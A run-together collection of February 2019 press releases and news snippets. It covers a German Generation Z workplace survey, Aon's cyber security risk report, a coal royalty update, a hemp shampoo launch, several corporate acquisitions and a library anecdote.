zwar auch fur die GenZ zu einem Auswahlkriterium ihres Arbeitgebers. Vor allem ist aber die Arbeit im Unternehmen/ Betrieb beliebt (98 % Zustimmung). 40 % der Vertreter*innen der GenZ nehmen eine einfache Fahrzeit zur Arbeitsstatte von maximal 45 Minuten in Kauf. Weitere 24 % wurden sich sogar auf maximal 60 Minuten einlassen. Das Home-Office kommt bei der Arbeitsortwahl auf den zweiten Rang (60 % Zustimmung), gefolgt von Co-Working Spaces (43 % Zustimmung). Offentliche Orte wie Cafes werden hingegen nicht als ideale Arbeitsorte betrachtet. Als Grunde werden Storung von Konzentration, aber auch Datenschutzbedenken bzw. mangelnde Netzsicherheit im offentlichen Raum genannt.Oliver Schmitz, Geschaftsfuhrer der berufundfamilie Service GmbH, stellt fest: "Die Vorstudie gibt Arbeitgebern wichtige Hinweise im Umgang mit der Nachwuchsgeneration: Die Generation Z wunscht sich hinsichtlich der Arbeitsorganisation feste Strukturen, die sich nicht nur positiv auf die Arbeitsweise und -ergebnisse auswirken, sondern auch eine Entgrenzung zum Privatleben ermoglichen sollen. Die Generation Z ist demnach - anders als in anderen Untersuchungen skizziert - absolut leistungsbereit. Gleichzeitig ist Familienbewusstsein fur sie ein Entscheidungskriterium bei der Arbeitgeberwahl. Sie hat aus den "Fehlern" ihrer Vorgangergenerationen gelernt. Ich wurde die Generation Z daher auch als Generation Arbeitswelt-Optimierer bezeichnen."Von Angesicht zu AngesichtDie GenZ bevorzugt die Kommunikation von Angesicht zu Angesicht (100 % Zustimmung). Das gilt fur die Teamarbeit - auf die die junge Generation viel Wert legt - genauso wie fur den Austausch mit dem Vorgesetzten. Auf der Skala der gewunschten Kommunikationskanale steht nach dem personlichen Austausch der telefonische Kontakt - sowohl Festnetz als auch Handy - (88 % Zustimmung) und dann der Austausch via E-Mail (71 % Zustimmung). Kanale wie Messenger (WhatsApp) werden hingegen als beruflicher Kommunikationskanal weniger gewunscht - wohlmoglich, weil nicht jeder Beschaftigte uber ein Diensthandy verfugt und die Nutzung privater Gerate fur den Job eher kritisch gesehen wird.Karriere nicht um jeden PreisInsgesamt 48 % der GenZ-Vertreter*innen ware mit einer niedrigen bzw. mittleren Fuhrungsebene zufrieden. 14 % haben noch keine Vorstellung, wahrend 37 % eine obere Fuhrungsposition anstreben. Fur eine Karriere mochte die Generation Z in Fort-/ Weiterbildung investieren (100 % Zustimmung) und kann sich vorstellen, einen Umzug (64 % Zustimmung) wagen. Erst an dritter Stelle steht der Verzicht auf Freizeit (62 % Zustimmung) und an vierter die Bereitschaft, die Familiengrundung zu verschieben (49 % Zustimmung). Familie ist also ein groes Thema. So bezeichnen sich 83 % als "Familienmensch". Dabei schlieen sich fur 74 % der Befragten Karriere und Familiengrundung nicht aus. Eben deshalb durfte ihr die Moglichkeit, Karriere in Teilzeit zu realisieren, auch besonders wichtig sein (67 %).Grounternehmen locken ubrigens nur etwa ein Viertel der Befragten; KMUs liegen zusammengefasst mit 49 % ganz oben auf der Wunscharbeitgeberliste.Familienbewusstsein ist Entscheidungskriterium bei der ArbeitgeberwahlDie Generation Z scheint eine gesundheitsbewusste Generation zu sein. Gesundheitsforderung ist mit 87 % Zustimmung bei den Zusatzleistungen am wichtigsten, gefolgt von monetaren Zuwendungen wie Weihnachts- und Urlaubsgeld. Bei den gesundheitsfordernden Manahmen ist besonders das im Betrieb kostenfrei zur Verfugung gestellte Obst wichtig (81 % Zustimmung), danach die ergonomische Ausstattung (77 % Zustimmung) und Kooperationen mit Fitnessstudios (53 % Zustimmung). Willkommen ist bei 46 % auch der Betriebsarzt.Die GenZ erwartet von einem Arbeitgeber Familienbewusstsein (73 %). Entsprechend wird ein Groteil der Vertreter*innen der Generation Z uber Angebote zur Vereinbarkeit von Beruf und Familie in Vorstellungsgesprachen verhandeln (60 % Zustimmung) - noch vor der Hohe des Gehalts (56 % Zustimmung) und vor Zusatzleistungen (34 % Zustimmung). Trotz des jungen Alters hat die GenZ das Thema Pflege auf dem Schirm. Bei der Frage, in welcher Situation sie sich vorstellen konnten, von Vollzeit in Teilzeit zu wechseln, wurde die Pflege von Familienmitgliedern (79 % Zustimmung) - vor Kinderbetreuung (71 % Zustimmung) und finanzieller Unabhangigkeit (66 % Zustimmung) - genannt. Immerhin ein Drittel der Digital Natives (33 % Zustimmung) wurden ihre Arbeitszeit zugunsten von Freizeit reduzieren wollen.Sicherheit ist allerdings ein wesentlicher Faktor: Fur ihr zukunftiges Berufsleben findet die GenZ angemessenes Gehalt (99 % Zustimmung) besonders wichtig, gefolgt von einem sicheren Arbeitsplatz (94 % Zustimmung) und dann bereits eine ausgewogene Work-Life-Balance (88 % Zustimmung).Bisherige Untersuchungen zum Stellenwert von Arbeitgebersiegeln finden in dem Punkt Bestatigung, dass ein Zertifikat fur einen speziellen Themenbereich auf Interesse stot. So wunschen sich 50 % der Generationn Z, dass ihr zukunftiger Arbeitgeber in Bezug auf Vereinbarkeit zertifiziert ist.Vertiefende Studie in ArbeitDie Fortfuhrung der Untersuchungen ist in einer vertiefenden quantitativen Studie fest eingeplant. Die beiden wissenschaftlichen Projektverantwortlichen Dr. Brigitte Waffenschmidt (Studienbereichsleiterin Wirtschafts- und Werbepsychologie) und Dr. Georg Puchner (Stellvertretender akademischer Leiter am Campus M21 in Nurnberg), zu der anstehenden Vertiefung der Studie: "Die Vorstudie hatte zum einen das Ziel, das Befragungsdesign hinsichtlich unterschiedlicher wissenschaftlicher Gutekriterien zu uberprufen, lieferte andererseits aber auch oben dargestellte erste Trendaussagen in der Zielgruppe junger Studierender. In einer weiterfuhrenden quantitativen Studie wollen wir nun in diesem Jahr aber auch reprasentative Aussagen zu den wesentlichen Themenbereichen in verschiedenen Zielgruppensegmenten der Generation Z generieren."Ab sofort steht das WhitePaper zur Vorstudie zum Download zu Verfugung unter: https://bit.ly/2V7evmJHintergrund: Die Vorstudie "Zukunftige Arbeitswelt der Generation Z - und die Rolle der Vereinbarkeit" ist eine Mix-Method-Studie, die als Semesterarbeit von Studierenden des Studiengangs Wirtschafts- und Werbepsychologie am Campus M21 in Nurnberg durchgefuhrt wurde. Die qualitativen Tiefeninterviews wurden auf Grundlage eines Moderationsleitfadens gefuhrt. Nach der Durchfuhrung und Auswertung von 42 Tiefeninterviews, wurden drei Vergleichsstudien herangezogen, um die Entstandenen Hypothesen zu uberprufen. Als Studien dienten die Shell Studie "Jugend 2017", die Studie "Generation Spa ade, hier kommen die Realisten" von Haufe und "Erwartungen der Generation Z an die Unternehmen" von der PFH. Beim Auftreten von Divergenzen zwischen den Aussagen, wurden diese wiederum mit in den quantitativen Fragebogen aufgenommen, um so die Hypothesen zu uberprufen. Anschlieend wurde der quantitative Fragebogen als Online-Umfrage per Link an alle Campus M21-Studierenden (in Munchen und Nurnberg) gesendet ausgewertet (n=177).Die berufundfamilie Service GmbH ist Dienstleister und der Think Tank im Themengebiet Vereinbarkeit von Beruf, Familie und Privatleben. Sie begleitet erfolgreich Unternehmen, Institutionen und Hochschulen bei der Umsetzung einer nachhaltigen familien- und lebensphasenbewussten Personalpolitik und der Gestaltung familiengerechter Forschungs- und Studienbedingungen. Ihr zentrales Angebot ist das audit berufundfamilie bzw. audit familiengerechte hochschule, das von der Gemeinnutzigen Hertie-Stiftung initiiert wurde. Das audit ist das strategische Managementinstrument, welches Arbeitgeber dazu nutzen, ihre Personalpolitik familien- und lebensphasenbewusst aufzustellen und ihre Arbeitgeberattraktivitat zu starken. Seit 1998 wurden uber 1.700 Arbeitgeber mit dem Zertifikat zum audit ausgezeichnet. www.berufundfamilie.deDer Campus M21 in Munchen und Nurnberg ist ein innovativer und praxisnaher Hochschul-Campus mit 1000 Studierenden mit Studiengangen im Bereich Business Management und Angewandte Medien mit dem Ziel des Staatlichen Bachelor of Arts und Master of Science. www.campusm21.deOTS: berufundfamilie Service GmbH newsroom: http://www.presseportal.de/nr/130344 newsroom via RSS: http://www.presseportal.de/rss/pm_130344.rss2Pressekontakt: Silke Guttler Leitung Corporate Communications berufundfamilie Service GmbH Telefon: +49 69 7171333-161 E-Mail: s.guettler@berufundfamilie.de- Eight risk areas underscore how the shift to digital is bringing great opportunity and more risk

LONDON, Feb. 13, 2019 /PRNewswire/ -- Aon plc (NYSE:AON), the leading global professional services firm providing a broad range of risk, retirement and health solutions, released its 2019 Cyber Security Risk Report today. The report, which details the greatest cyber security threats and challenges organizations are currently facing, discusses that as companies continue to use technology to speed up the transfer of information, game-changing business opportunities are created, as well as increased cyber risk.

"In 2018 we witnessed that a proactive approach to cyber preparation and planning paid off for the companies that invested in it, and in 2019, we anticipate the need for advanced planning will only further accelerate," said J. Hogg, CEO of Cyber Solutions at Aon. "Leaders must work to better insulate their companies and their processes, while simultaneously identifying the ways they can benefit from the opportunities offered through technology and digital transformation."

Hogg continued: "Our 2019 report also shows that organizations must recognize the need to share threat intelligence across not only their own network but with others as well. While it may seem counterintuitive when thinking about cyber security, collaboration within and across enterprises and industries can keep private data of companies and individuals alike safer. Working together can result in improved efforts to hunt bad actors, while also raising the bar and making all parties more prepared for the inevitable day when a disruption does happen."

The "What's Now and What's Next" report focuses on eight specific risk areas that companies may face in 2019. The risks illustrate how, as organizations transition to a digital-first approach across all transactions, the attack surface of global business expands rapidly and sometimes in unexpected ways. In other words, thanks to the rapid enhancements and constant changes in technology, the number of touch points that cyber criminals can access within a business is growing exponentially.

Highlights from the report include:

Technology - While technology has revolutionized the way organizations today conduct business, broader and wider-spread use of technology also brings vulnerabilities. From publishing to automotive, industries are facing new, evolving services and business models. These new opportunities however, bring with them a radically different set of risks, which organizations will need to anticipate and manage as they continue the digital transformation process. Supply Chain - Two prevailing supply chain trends will heighten cyber risks dramatically in the coming year: one is the rapid expansion of operational data exposed to cyber adversaries, from mobile and edge devices like the Internet of Things (IoT); and the other trend is companies' growing reliance on third-party-and even fourth-party-vendors and service providers. Both trends present attackers with new openings into supply chains, and require board-level, forward-looking risk management in order to sustain reliable and viable business operations. IoT - IoT devices are everywhere, and every device in a workplace now presents a potential security risk. Many companies don't securely manage or even inventory all IoT devices that touch their business, which is already resulting in breaches. As time goes on, the number of IoT endpoints will increase dramatically, facilitated by the current worldwide rollouts of cellular IoT and the forthcoming transition to 5G. Effective organizational inventory and monitoring process implementation will be critical for companies in the coming year and beyond. Business Operations - Connectivity to the Internet improves operational tasks dramatically, but increased connectivity also leads to new security vulnerabilities. The attack surface expands greatly as connectivity increases, making it easier for attackers to move laterally across an entire network. Further, operational shortcuts or ineffective backup processes can make the impact of an attack on business operations even more significant. Organizations need to be better aware of, and prepared for, the cyber impact of increased connectivity. Employees - Employees remain one of the most common causes of breaches. Yet employees likely do not even realize the true threat they pose to an entire organization's cyber security. As technology continues to impact every job function, from the CEO to the entry-level intern, it is imperative for organizations to establish a comprehensive approach to mitigate insider risks, including strong data governance, communicating cyber security policies throughout the organization, and implementing effective access and data-protection controls. Mergers & Acquisitions (M&A) - Projections anticipate that M&A deal value will top $4 trillion in 2018, which would be the highest in four years [1]. The conundrum this poses to companies acquiring other businesses is that while they may have a flawless approach to cyber security enterprise risk, there is no guarantee that their M&A target has the same approach in place. Dealmakers must weave specific cyber security strategies into their larger M&A plans if they want to ensure seamless transitions in the future. Regulatory - Increased regulation, laws, rules and standards related to cyber are designed to protect and insulate businesses and their customers. The pace of cyber regulation enforcement increased in 2018, setting the stage for heightened compliance risk in 2019. Regulation and compliance, however, cannot become the sole focus. Firms must balance both new regulations and evolving cyber threats, which will require vigilance on all sides. Board of Directors - Cyber security oversight continues to be a point of emphasis for board directors and officers, but recent history has seen an expanding personal risk raising the stakes. Boards must continue to expand their focus and set a strong tone across the company, not only for actions taken after a cyber incident, but also proactive preparation and planning.

Learn more about the risks included in Aon's 2019 Cyber Security Risk Report. To learn more about the solutions offered by Aon, please also visit Aon.com.

[1] IMAA Institute's M&A Statistics

About Aon

Aon plc (NYSE:AON) Aon is a leading global professional services firm providing a broad range of risk, retirement and health solutions. Our 50,000 colleagues in 120 countries empower results for clients by using proprietary data and analytics to deliver insights that reduce volatility and improve performance.

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Media Contact:

Nicole Baudouin, 415-271-1978, Nicole.Baudouin1@aon.com

Logo - https://mma.prnewswire.com/media/689845/Aon_Corporation_Logo.jpgLONDON, UK / ACCESSWIRE / February 13, 2019 / Anglo Pacific Group PLC ("Anglo Pacific", the "Company" or the "Group") (LSE: APF, TSX: APY), the London and Toronto listed royalty company, notes Adaro Energy's ("Adaro") Q4 2018 Activity Report released on 11 February 2019, supports the statements made in our recent trading update regarding expected material production increases at Kestrel in 2019.

In the announcement Adaro confirms that the operator, Kestrel Coal Resources Pty Ltd, has embarked on a change programme aimed at driving efficiency improvements throughout Kestrel's operations. Adaro has announced that the implemented changes are expected to increase coal production in 2019 by 40% at Kestrel compared to 2018 and that it anticipates any increase in production to be well absorbed by the market due to high demand for Kestrel's premium quality coal.

Anglo Pacific does not operate the mine and therefore cannot guarantee these forecast increases will eventuate. However, if this increase in Kestrel production is achieved, it will, subject to prevailing coal prices, lead to a significant increase in income from Kestrel this year for Anglo Pacific.

Julian Treger, Chief Executive Officer of the Company, commented:

"While we are cognisant that this is a forecast, it is extremely encouraging news for Anglo Pacific's largest income contributor and for the Group's overall income expectations for 2019, as previously stated in our Q4 2018 trading update."

Anglo Pacific Group PLC +44 (0) 20 3435 7400 Julian Treger - Chief Executive Officer Kevin Flynn - Chief Financial Officer and Company Secretary Website: www.anglopacificgroup.com BMO Capital Markets Limited +44 (0) 20 7664 8020 Jeffrey Couch / Tom Rider / Neil Elliot Canaccord Genuity Limited +44 (0) 20 7523 8000 Martin Davison / James Asensio Peel Hunt LLP +44 (0) 20 7418 8900 Ross Allister / James Bavister / David McKeown Capital Market Communications Limited (Camarco) +44 (0)20 3757 4997 Gordon Poole / Owen Roberts / James Crothers

Notes to Editors

About Anglo Pacific

Anglo Pacific Group PLC is a global natural resources royalty company. The Company's strategy is to develop a leading international diversified royalty company with a portfolio centred on base metals and bulk materials, focusing on accelerating income growth mainly through acquiring royalties on projects that are currently cash flow generating or are expected to be within the next 24 months, as well as investment in earlier stage royalties. It is a continuing policy of the Company to pay a substantial portion of these royalties to shareholders as dividends.

Cautionary statement on forward-looking statements and related information

Certain information contained in this announcement, including any information as to future financial or operating performance and other statements that express management's expectation or estimates of future performance, constitute "forward looking statements". The words "expects", "anticipates", "plans", "believes", "estimates", "seeks", "intends", "targets", "projects", "forecasts", or negative versions thereof and other similar expressions identify forward-looking statements. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable by management, are inherently subject to significant business, economic and competitive uncertainties and contingencies. Further, forward-looking statements are not guarantees of future performance and involve risks and uncertainties which could cause actual results to differ materially from those anticipated, estimated or intended in the forward-looking statements. Furthermore, this announcement contains information and statements that are based on certain estimates and forecasts that have been provided to the Group by Kestrel Coal Pty Ltd ("KCPL"), the accuracy of which KCPL does not warrant and on which readers may not rely. The material assumptions and risks relevant to the forward-looking statements in this announcement include, but are not limited to: stability of the global economy; stability of local government and legislative background; continuing of ongoing operations at the properties underlying the Group's portfolio of royalties in a manner consistent with past practice; accuracy of public statements and disclosures (including feasibility studies and estimates of reserve, resource, production, grades, mine life, and cash cost) made by the owners and operators of such underlying properties; accuracy of the information provided to the Group by the owners and operators of such underlying properties; no material adverse change in the price of the commodities produced from the properties underlying the Group's portfolio of royalties and investments; no material adverse change in foreign exchange exposure; no adverse development in respect of any property in which the Group holds a royalty or other interest, including but not limited to unusual or unexpected geological formations and natural disasters; successful completion of new development projects; planned expansions or additional projects being within the timelines anticipated and at anticipated production levels; and maintenance of mining title. If any such risks actually occur, they could materially adversely affect the Group's business, financial condition or results of operations. For additional information with respect to such risks and uncertainties, please refer to the "Principal Risks and Uncertainties" section of our most recent Annual Report on the Group's website www.anglopacificgroup.com. Readers are cautioned to consider these and other factors, uncertainties and potential events carefully and not to put undue reliance on forward-looking statements. The forward-looking statements contained in this announcement are made as of the date of this announcement only and the Group undertakes no obligation to update or revise publicly any forward-looking statements, whether as a result of new information, future events or otherwise, after the date on which the statements are made or to reflect the occurrence of unanticipated events.

Third party information

As a royalty holder, the Group often has limited, if any, access to non-public scientific and technical information in respect of the properties underlying its portfolio of royalties, or such information is subject to confidentiality provisions. As such, in preparing this announcement, the Group has largely relied upon the public disclosures of the owners and operators of the properties underlying its portfolio of royalties, as available at the date of this announcement.

This information is provided by RNS, the news service of the London Stock Exchange. RNS is approved by the Financial Conduct Authority to act as a Primary Information Provider in the United Kingdom. Terms and conditions relating to the use and distribution of this information may apply. For further information, please contact rns@lseg.com or visit www.rns.com.

SOURCE: Anglo Pacific Group PLC

View source version on accesswire.com:https://www.accesswire.com/535214/Anglo-Pacific-Group-PLC-Announces-Kestrel-Operator-Plans-to-Increase-Volumes-in-2019VANCOUVER, BC / ACCESSWIRE / February 13, 2019 / EastWest Bioscience (the "Company" or "EastWest") (TSX.V: EAST) announces the manufacturing of the first two products of its newest line of hemp-based products being introduced in 2019. The Company's HempBeauti Shampoo and Conditioner is the first of a series of premium ultra-clean body care products under the ChenvreHemp brand line. HempBeauti Shampoo and Conditioner are due to be in stores late April or early May 2019.

"The Company is looking forward to the launch its newest line of body care products," says Rodney Gelineau, CEO of Eastwest BioScience. "We're starting with hair care, because it's something everyone uses, and customers have been asking for it."

"ChenvreHemp products have been formulated with one of the cleanest ingredients lists on the market. They are being manufactured to exacting standards by one of North America's most respected natural products formulators and manufacturers. The new HempBeauti hair products will contain a generous amount of hemp oil well-known for its healthy, luxurious benefits to hair and skin."

"We're excited to get these first products to the market," continues Gelineau. "The long-term strategy for ChenvreHemp is to develop innovative hemp-based body care products meant to pamper the body, mind and souls of health-conscious consumers of all ages and walks of life."

The Company is moving to penetrate several categories within the retail store environment. By increasing exposure into multiple categories, it increases the potential for getting our hemp based products into the consumers shopping basket. Expanding the Eastwest brand increases brand recognition and getting truly great hemp products into consumers' homes will just continue instill and increase brand loyalty.

"This clean and unique shampoo and conditioner are just the first in a series of products we'll be introducing to the Health and Beauty Care space." says Fanika Jovanovic Perika, Global Business Development Lead at Eastwest BioScience. "Creating and introducing clean natural products, across multiple categories within the retail footprint, will continue to be part of the long-term strategy of product development for the company. Consumers are looking for more natural products for themselves and their family. What they put on their bodies is as important as what they put in their bodies. We are very excited about this initial launch into the category."

About EastWest BioScience Group

EastWest Bioscience is a seed-to-sale organization that offers nutraceutical manufacturing and premium hemp-based consumer goods and sells them through national distributors such as Mondou and Purity Distributors, as well as Eastwest's own 27 Sangster's branded retail stores, one of Canada's oldest and most respected natural health chains. Since it was founded in 2016, EastWest continues to grow as a high-quality producer, manufacturer and distributor of multiple lines of premium hemp products. EastWest is strategically positioned in mainstream consumer markets with wholistic natural products and has developed distribution channels into mainstream stores and markets in Canada. The Company has a Health Canada licensed, GMP (Good Manufacturing Practices) certified manufacturing facility and produces premium brands offering natural products for a preventive care lifestyle. EastWest consumer product lines are divided into four distinct brands: 1) Natural Advancement - natural biopharmaceutical health supplements; 2) Earth's Menu - all-natural hemp superfoods; 3) Natural Pet Science - pet food and pet supplements; and 4) ChanvreHemp - all-natural health and beauty products. The organization will continue to focus on ongoing development of innovative, hemp-based consumer products through advanced science with clean, natural ingredients to complement its current product offerings.

ON BEHALF OF THE BOARD OF DIRECTORS

EASTWEST BIOSCIENCE GROUP

"Rodney Gelineau"

Co-Founder, Chief Executive Officer and Director

NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE.

CAUTIONARY STATEMENT REGARDING FORWARD-LOOKING INFORMATION: This news release includes certain "forward-looking statements" under applicable Canadian securities legislation. Forward-looking statements include, but are not limited to, statements with respect to the terms and conditions of the Acquisition. Forward-looking statements are necessarily based upon a number of estimates and assumptions that, while considered reasonable, are subject to known and unknown risks, uncertainties, and other factors which may cause the actual results and future events to differ materially from those expressed or implied by such forward-looking statements. Such factors include, but are not limited to: general business, economic, competitive, political and social uncertainties; and delay or failure to receive board, shareholder or regulatory approvals. There can be no assurance that such statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements. The Corporation disclaims any intention or obligation to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as required by law.

SOURCE: EastWest Bioscience

View source version on accesswire.com:https://www.accesswire.com/535201/EastWest-Bioscience-Manufactures-HempBeauti-Shampoo-and-Conditioner-under-the-Companys-ChenvreHemp-Body-Care-BrandWEST PALM BEACH, FL / ACCESSWIRE / February 13, 2019 / Global Digital Solutions, Inc. ( OTC PINK: GDSI ) , a company that is positioning itself as a leader in comprehensive security and technology solutions, is issuing this update on its Letter of Intent to acquire all of the common stock of HarmAlarm, a company specializing in patented Aviation Technology.

William J. Delgado, GDSI's CEO, commented"We have completed almost all of our due diligence regarding HarmAlarm. We are pleased to announce that we anticipate closing the transaction by the end of this month. We are very excited to get this behind us and move forward."

The companies have agreed on a strategic plan in which HarmAlarm would be acquired by GDSI to license the patent protected Precision Approach Landing System (PALS) to the general aviation industry encompassing major aircraft manufacturers globally. Upon completion of the acquisition, GDSI will form a new subsidiary, GDSI Aviation Services, led by Gary Ball.

Gary Ball, the inventor of PALS, added "I am just as excited that we have completed the majority of the milestones in getting this closed. I look forward to working with Bill and his team as we launch this exciting new technology." Global Digital's CEO, William Delgado, also issued the following comment "We expect to announce a major decision in the Rontan case within the next few weeks."

About Global Digital Solutions, Inc.

Global Digital Solutions, Inc. ( OTC: GDSI ) , a company that is positioning itself as a leader in comprehensive security and technology solutions, continues to enhance shareholder value in these areas. In addition to our acquisition strategy, the Company has initiated a lawsuit for damages against Grupo Rontan Metalurgica, S. A, ("Rontan") and that company's controlling shareholders, Joao Alberto Bolzan and Jose Carlos Bolzan. The Company has engaged the law firm of Boies Schiller Flexner LLP to represent it in this action. The case will be handled by William Isaacson of the firm's Washington office and Carlos Sires of the firm's Fort Lauderdale office (Their professional profiles are available at https://bsfllp.com /lawyers. ) . The action has been filed in the United States District Court for the Southern District of Florida. The complaint alleges that "Rontan is wholly-owned by Joao Bolzan and Jose Bolzan. It is one of the world's largest manufacturers of original equipment for specialty vehicles for emergency management, first responders, national security, and law enforcement operations. The company also acquired NACSV, a supplier of Mobile Command Centers to Military, Law Enforcement, and First Responders. For more information about GDSI, visit http://www.gdsi.co .

About Harm Alarm and Gary Ball

Gary Ball received his formal education from California State University at Long Beach, a BSEE and an MSEE. Mr. Ball's long career in Aerospace has included design engineering, line management and senior business development positions at Ford Aeronutronic, Northrop and Hughes Aircraft. At HAC, Mr. Ball took the program lead on the acquisition of The Thermal Imaging Navigation Set (TINS) for the USN F-18. Upon award of the contract, Mr. Ball was asked to investigate the potential commercial applications of TINS. This effort was designated CLAS, standing for Commercial Landing Aid System that eventually evolved into Enhanced Vision System. Gulfstream received a Type Certification from the FAA in 2000 for this system. EVS was acquired by GAC under a previous License Agreement from Infrared Systems International (ISI), the manufacturer for many years. Gary Ball remained CEO of ISI until it was sold.

Mr. Ball formed HarmAlarm in 2002 as a private Texas company to pursue Infrared commercial applications as a restricted "dual use" of Infrared technology, a US Government restricted technology. HarmAlarm's efforts included medical applications (exports to Taiwan), Physical Security applications, "Green Initiatives" as well as aviation. This last effort was the genesis of PALS. Mr. Ball's long history on EVS provided the insight into PALS. PALS will satisfy the present need for an affordable, robust, precision low visibility landing aid for general aviation. The precision and robustness of PALS has generated a host of new applications mainly through "landing trajectory" optimization which provides additional safety margin against weather related hazardous conditions, like wind shear, wake turbulence, icing, as well as low ceilings and fog.

Forward Looking Statements

This press release contains "forward-looking statements." The statements contained in this press release that are not purely historical are forward-looking statements. Forward-looking statements give the Company's current expectations or forecasts of future events. Such statements are subject to risks and uncertainties that are often difficult to predict and beyond the Company's control, and could cause the Company's results to differ materially from those described. In some cases forward-looking statements can be identified by terminology such as "may," "should," "potential," "continue," "expects," "anticipates," "intends,""plans," "believes," "estimates," and similar expressions. These statements include statements regarding moving forward with executing the Company's global growth strategy. The statements are based upon current beliefs, expectations and assumptions and are subject to a number of risks and uncertainties, many of which are difficult to predict. The Company is providing this information as of the date of this press release and does not undertake any obligation to update any forward looking statements contained in this press release as a result of new information, future events or otherwise, except as required by law. We have based these forward-looking statements largely on our current expectations and projections about future events and financial trends affecting the financial condition of our business. Forward-looking statements should not be read as a guarantee of future performance or results, and will not necessarily be accurate indications of the times at, or by, which such performance or results will be achieved. Important factors that could cause such differences include, but are not limited to the Risk Factors and other information set forth in the Company's Annual Report on Form 10-K filed on March 30, 2015, and in our other filings with the U.S. Securities and Exchange Commission.

Contact:

William Delgado

775-443-4740

info@gdsi.co

SOURCE: Global Digital Solutions Inc.

View source version on accesswire.com:https://www.accesswire.com/535183/Global-Digital-Solutions-Inc-CEO-Issues-Update-on-HarmAlarm-AcquisitionIRVINE, California, Feb. 13, 2019 /PRNewswire/ -- CoreLogic (NYSE: CLGX), a leading global property information, analytics, and data-enabled solutions provider, is pleased to welcome WeGoLook, a subsidiary of Crawford & Company, as a new service through a seamless integration in the CoreLogic Symbility platform, an industry-leading property insurance claim workflow communications management tool. Now, Symbility Claims Connect users will be able to tap into WeGoLook's network of over 45,000 "Lookers" to obtain claims data, photos, videos and measurements, anytime, anywhere, in a matter of hours for an economical rate.

Photo - https://mma.prnewswire.com/media/821030/CoreLogic___Symbility_Crawford___Company_s_WeGoLook_to_Offer_On_.jpg

Currently across the United States, Canada, and the United Kingdom, WeGoLook offers customers a network of over 45,000 on-demand field service resources called Lookers to perform inspections and carry out tasks. Information obtained by Lookers can then be used to perform damage and liability triage or desk-adjusting for low- to mid-complexity claims, reducing resourcing costs and turnaround times. The information is delivered directly back into the Symbility platform within hours or days instead of weeks, allowing adjusters to focus on adjusting - increasing productivity and decreasing time to settlement.

"We're very excited to have WeGoLook integrate into our platform," said James Swayze, executive at CoreLogic. "Its people network will bring great new options to our clients for affordable solutions that will help them disperse people into the field at an accelerated rate. This will not only reduce the time it takes to help get their policyholders' lives back to normal, but do so in a way that helps them cut down costs for smaller claims."

Because WeGoLook's network is so expansive, with unmatched rural coverage and urban density, insurance carriers using CoreLogic's Symbility platform will now have the ability to scale quickly and ensure that their operations are able to handle any event no matter where policyholders may be located.

Meredith Brogan, president of WeGoLook said, "We are very excited to give Symbility customers the ability to tap into our on-demand network. This alliance will help carriers obtain inspections in a timely and cost-effective manner to better serve policyholders. Working together to deliver integrated carrier solutions advances the entire industry and help us deliver on Crawford's mission to restore and enhance lives, businesses and communities. We're proud to say we've helped drive this change."

WeGoLook will soon be available to all CoreLogic customers using Symbility Claims Connect via easy integration into their already existing systems in the coming months.

About WeGoLook

Founded in 2009, WeGoLook, a subsidiary of Crawford & Company, combines technology with an on-demand workforce of over 45,000 Lookers to help businesses and individuals gather and validate information anytime, anywhere. From simple inspections to enterprise solutions, WeGoLook's products build confidence in consumers and empower businesses to improve efficiencies while lowering costs. In 2017, Crawford & Company acquired a majority stake in WeGoLook. For more information, please visit https://www.crawco.com/innovations/wegolook

About Crawford & Company

Based in Atlanta, Crawford & Company (NYSE:CRD-A) (NYSE:CRD-B) is the world's largest publicly listed independent provider of claims management solutions to insurance companies and self-insured entities with an expansive global network serving clients in more than 70 countries. The Company's two classes of stock are substantially identical, except with respect to voting rights and the Company's ability to pay greater cash dividends on the non-voting Class A Common Stock (CRD-A) than on the voting Class B Common Stock (CRD-B), subject to certain limitations. In addition, with respect to mergers or similar transactions, holders of CRD-A must receive the same type and amount of consideration as holders of CRD-B, unless different consideration is approved by the holders of 75% of CRD-A, voting as a class. More information is available at crawco.com.

About CoreLogic

CoreLogic (NYSE: CLGX) is a leading global property information, analytics and data-enabled solutions provider. The company's combined data from public, contributory and proprietary sources includes over 4.5 billion records spanning more than 50 years, providing detailed coverage of property, mortgages and other encumbrances, consumer credit, tenancy, location, hazard risk and related performance information. The markets CoreLogic serves include real estate and mortgage finance, insurance, capital markets, and the public sector. CoreLogic delivers value to clients through unique data, analytics, workflow technology, advisory and managed services. Clients rely on CoreLogic to help identify and manage growth opportunities, improve performance and mitigate risk. Headquartered in Irvine, Calif., CoreLogic operates in North America, Western Europe and Asia Pacific. For more information, please visit www.corelogic.com.

CORELOGIC,CoreLogic Symbility, Symbility Claims Connect and the CoreLogic logo are trademarks of CoreLogic, Inc. and/or its subsidiaries. All other trademarks are the property of their respective owners.



Media Contact: Alyson Austin, Corporate Communications, 949-214-1414, newsmedia@corelogic.com; Investor Contact: Dan Smith, Investor Relations, 703-610-5410, danlsmith@corelogic.comGregg, who left the Washington area in 1946 for London, Ontario, where her father worked in the scrap-metal business, says she remembers reading the book hundreds of times, often with her mother, who took her to the library weekly. In Canada, Gregg was allowed to check out only four books at a time, and shes pretty sure she returned them all promptly. (If she finds one behind another shelf, Im sure well hear about it.) Gregg says she read The Postman to her daughter, who also became a librarian. (Thats not the only thing that runs in her family. After her mother died, Gregg found an overdue copy of a Colette book in her house and returned it. Hidden behind the family mantle, Gregg later discovered an overdue library notice sent to her older brother.)Hillgate's Diverse Talent Pool and High-Caliber Team Will Expand BTG's Global Footprint, Scale and Ability to Offer High-Impact Talent Solutions across EMEA and Worldwide

LOS ANGELES, Feb. 13, 2019 /PRNewswire/ -- Business Talent Group (BTG) today announced the launch of BTG Europe with the acquisition of UK-based Hillgate, expanding BTG's international footprint, scale and position as the leading global marketplace for on-demand, high-end independent talent. Hillgate Founder and CEO Andrew Lecocq will join BTG as Head of EMEA, leading BTG Europe's high-caliber London-based team in providing talent for clients across EMEA and worldwide.

